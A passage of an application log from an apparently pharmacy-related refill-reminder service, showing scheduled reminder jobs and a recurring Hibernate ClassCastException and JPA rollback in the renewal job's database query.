org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 07:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 07:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 07:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 07:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 07:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 07:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 07:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 07:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 07:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 07:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at 